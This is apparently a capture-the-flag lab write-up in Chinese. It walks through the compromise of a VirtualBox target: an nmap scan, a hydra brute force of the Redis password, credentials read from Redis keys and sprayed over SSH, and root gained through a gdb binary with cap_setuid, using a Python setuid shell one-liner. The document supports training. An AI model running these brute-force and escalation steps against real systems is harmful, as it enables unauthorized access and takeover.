┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 14:31 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00024s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00015s latency). MAC Address: 08:00:27:A9:B8:16 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.93 Host is up (0.00048s latency). MAC Address: 08:00:27:B5:B9:DB (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.44 seconds
靶机IP：192.168.2.93
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.93 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 14:32 +0800 Nmap scan report for 192.168.2.93 Host is up (0.00055s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 6379/tcp open redis MAC Address: 08:00:27:B5:B9:DB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,6379 192.168.2.93 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 14:32 +0800 Nmap scan report for 192.168.2.93 Host is up (0.00087s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 6379/tcp open redis Redis key-value store MAC Address: 08:00:27:B5:B9:DB (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.93 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 14:33 +0800 Nmap scan report for 192.168.2.93 Host is up (0.00098s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:B5:B9:DB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 111.46 seconds
二、Redis服务
访问redis服务，发现需要密码
1 2 3 4
┌──(root㉿kali)-[~/miaosec] └─# redis-cli -h 192.168.2.93 192.168.2.93:6379> INFO NOAUTH Authentication required.
1、Redis密码爆破
使用hydra对密码进行爆破
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/tmp] └─# hydra -P /usr/share/wordlists/rockyou.txt -t 4 redis://192.168.2.93 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-19 14:41:10 [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking redis://192.168.2.93:6379/ [STATUS] 2263.00 tries/min, 2263 tries in 00:01h, 14342136 to doin 105:38h, 4 active [6379][redis] host: 192.168.2.93 password: hellow [STATUS] attack finished for 192.168.2.93 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-19 14:43:11
192.168.2.93:6379> GET key1 "killer:K!ll3R123" 192.168.2.93:6379> GET key2 "ghost:Ghost!Hunter42" 192.168.2.93:6379> GET key3 "snake:Pixel_Sn4ke77" 192.168.2.93:6379> GET key4 "wolf:CyberWolf#21" 192.168.2.93:6379> GET key5 "shadow:ShadowMaze@9"
三、获取killer权限
使用hydra对获取到的账号和密码进行爆破
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/tmp] └─# hydra -t 4 -L user.txt -P pass.txt ssh://192.168.2.93 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-19 14:55:21 [DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task [DATA] attacking ssh://192.168.2.93:22/ [22][ssh] host: 192.168.2.93 login: killer password: ShadowMaze@9 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-19 14:55:38
Files with capabilities (limited to 50): /usr/bin/ping cap_net_raw=ep /usr/bin/gdb cap_setuid=ep killer@lower6:/tmp$ cat /proc/sys/kernel/yama/ptrace_scope 0
0：无限制 → 普通用户可用 gdb 附加到任何进程（包括 setuid 程序），可提权
**1**（默认 Ubuntu/Debian）：只能附加到自己拥有的进程 → GDB 无法直接提权
**2 或 3**：更严格限制
直接进行提取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
killer@lower6:/tmp$ gdb GNU gdb (Debian 13.1-3) 13.1 Copyright (C) 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration"for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type"help". Type "apropos word" to search for commands related to "word". (gdb) python import os; os.setuid(0); os.execl("/bin/sh", "sh", "-p") # id uid=0(root) gid=1000(killer) groups=1000(killer)